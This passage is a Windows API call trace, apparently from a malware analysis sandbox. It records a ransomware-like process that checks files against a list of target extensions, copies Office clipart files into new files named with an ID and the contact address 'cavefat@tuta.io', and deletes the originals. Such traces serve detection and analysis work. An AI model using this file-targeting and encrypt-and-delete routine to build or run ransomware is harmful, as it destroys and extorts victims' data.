lstrlenW (lpString=".doc") returned 4 [0237.058] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0237.058] lstrlenW (lpString=".docx") returned 5 [0237.058] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0237.058] lstrlenW (lpString=".pdf") returned 4 [0237.058] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0237.058] lstrlenW (lpString=".xls") returned 4 [0237.058] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0237.058] lstrlenW (lpString=".xlsx") returned 5 [0237.058] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0237.058] lstrlenW (lpString=".ppt") returned 4 [0237.058] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0237.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.058] lstrlenW (lpString=".zip") returned 4 [0237.058] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0237.058] lstrlenW (lpString=".rar") returned 4 [0237.058] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0237.058] lstrlenW (lpString=".bz2") returned 4 [0237.058] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0237.058] lstrlenW (lpString=".7z") returned 3 [0237.058] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0237.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.058] lstrlenW (lpString=".dbf") returned 4 [0237.058] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0237.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.058] lstrlenW (lpString=".1cd") returned 4 [0237.058] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0237.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.058] lstrlenW (lpString=".jpg") returned 4 [0237.058] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0237.058] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.058] lstrlenW (lpString="J0151581.WMF") returned 12 [0237.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.059] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10752) returned 1 [0237.059] CloseHandle (hObject=0x560) returned 1 [0237.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220 [0237.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.060] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.060] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.060] GetLastError () returned 0x0 [0237.061] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2a00, lpOverlapped=0x0) returned 1 [0237.062] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2a10, lpOverlapped=0x0) returned 1 [0237.063] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.063] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.063] SetEndOfFile (hFile=0x564) returned 1 [0237.063] CloseHandle (hObject=0x564) returned 1 [0237.063] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.063] SetEndOfFile (hFile=0x560) returned 1 [0237.065] CloseHandle (hObject=0x560) returned 1 [0237.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0237.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.066] lstrlenW (lpString=".doc") returned 4 [0237.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.066] lstrlenW (lpString=".docx") returned 5 [0237.066] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.066] lstrlenW (lpString=".pdf") returned 4 [0237.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString=".xls") returned 4 [0237.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.067] lstrlenW (lpString=".xlsx") returned 5 [0237.067] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.067] lstrlenW (lpString=".ppt") returned 4 [0237.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString=".zip") returned 4 [0237.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.067] lstrlenW (lpString=".rar") returned 4 [0237.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString=".bz2") returned 4 [0237.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString=".7z") returned 3 [0237.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString=".dbf") returned 4 [0237.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString=".1cd") returned 4 [0237.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString=".jpg") returned 4 [0237.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.067] lstrlenW (lpString=".doc") returned 4 [0237.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString=".docx") returned 5 [0237.067] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.067] lstrlenW (lpString=".pdf") returned 4 [0237.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.067] lstrlenW (lpString=".xls") returned 4 [0237.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.067] lstrlenW (lpString=".xlsx") returned 5 [0237.067] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.068] lstrlenW (lpString=".ppt") returned 4 [0237.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.068] lstrlenW (lpString=".zip") returned 4 [0237.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.068] lstrlenW (lpString=".rar") returned 4 [0237.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.068] lstrlenW (lpString=".bz2") returned 4 [0237.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.068] lstrlenW (lpString=".7z") returned 3 [0237.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.068] lstrlenW (lpString=".dbf") returned 4 [0237.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.068] lstrlenW (lpString=".1cd") returned 4 [0237.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0237.068] lstrlenW (lpString=".jpg") returned 4 [0237.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.068] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.068] lstrlenW (lpString="J0152414.WMF") returned 12 [0237.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.069] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=24844) returned 1 [0237.069] CloseHandle (hObject=0x560) returned 1 [0237.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0237.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.070] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.070] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.071] GetLastError () returned 0x0 [0237.071] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x610c, lpOverlapped=0x0) returned 1 [0237.073] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x6110, lpOverlapped=0x0) returned 1 [0237.073] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.074] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.074] SetEndOfFile (hFile=0x564) returned 1 [0237.074] CloseHandle (hObject=0x564) returned 1 [0237.074] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.074] SetEndOfFile (hFile=0x560) returned 1 [0237.076] CloseHandle (hObject=0x560) returned 1 [0237.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0237.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.077] lstrlenW (lpString=".doc") returned 4 [0237.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.077] lstrlenW (lpString=".docx") returned 5 [0237.077] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.078] lstrlenW (lpString=".pdf") returned 4 [0237.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString=".xls") returned 4 [0237.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.078] lstrlenW (lpString=".xlsx") returned 5 [0237.078] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.078] lstrlenW (lpString=".ppt") returned 4 [0237.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString=".zip") returned 4 [0237.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.078] lstrlenW (lpString=".rar") returned 4 [0237.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString=".bz2") returned 4 [0237.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString=".7z") returned 3 [0237.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString=".dbf") returned 4 [0237.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString=".1cd") returned 4 [0237.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString=".jpg") returned 4 [0237.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.078] lstrlenW (lpString=".doc") returned 4 [0237.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString=".docx") returned 5 [0237.078] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.078] lstrlenW (lpString=".pdf") returned 4 [0237.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.078] lstrlenW (lpString=".xls") returned 4 [0237.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.078] lstrlenW (lpString=".xlsx") returned 5 [0237.078] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.078] lstrlenW (lpString=".ppt") returned 4 [0237.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.079] lstrlenW (lpString=".zip") returned 4 [0237.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.079] lstrlenW (lpString=".rar") returned 4 [0237.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.079] lstrlenW (lpString=".bz2") returned 4 [0237.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.079] lstrlenW (lpString=".7z") returned 3 [0237.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.079] lstrlenW (lpString=".dbf") returned 4 [0237.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.079] lstrlenW (lpString=".1cd") returned 4 [0237.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0237.079] lstrlenW (lpString=".jpg") returned 4 [0237.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.079] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.079] lstrlenW (lpString="J0152430.WMF") returned 12 [0237.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.081] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14132) returned 1 [0237.081] CloseHandle (hObject=0x560) returned 1 [0237.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0237.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.081] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.082] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.083] GetLastError () returned 0x0 [0237.083] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3734, lpOverlapped=0x0) returned 1 [0237.085] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3740, lpOverlapped=0x0) returned 1 [0237.086] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.086] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.086] SetEndOfFile (hFile=0x564) returned 1 [0237.086] CloseHandle (hObject=0x564) returned 1 [0237.086] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.086] SetEndOfFile (hFile=0x560) returned 1 [0237.297] CloseHandle (hObject=0x560) returned 1 [0237.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0237.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".doc") returned 4 [0237.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString=".docx") returned 5 [0237.299] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.299] lstrlenW (lpString=".pdf") returned 4 [0237.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString=".xls") returned 4 [0237.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.299] lstrlenW (lpString=".xlsx") returned 5 [0237.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.299] lstrlenW (lpString=".ppt") returned 4 [0237.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".zip") returned 4 [0237.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.299] lstrlenW (lpString=".rar") returned 4 [0237.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString=".bz2") returned 4 [0237.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString=".7z") returned 3 [0237.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".dbf") returned 4 [0237.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".1cd") returned 4 [0237.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".jpg") returned 4 [0237.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0237.299] lstrlenW (lpString=".doc") returned 4 [0237.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.299] lstrlenW (lpString=".docx") returned 5 [0237.299] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.299] lstrlenW (lpString=".pdf") returned 4 [0237.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.300] lstrlenW (lpString=".xls") returned 4 [0237.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.300] lstrlenW (lpString=".xlsx") returned 5 [0237.300] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.300] lstrlenW (lpString=".ppt") returned 4 [0237.300] lstrcmpiW (lpString1=".ppt", 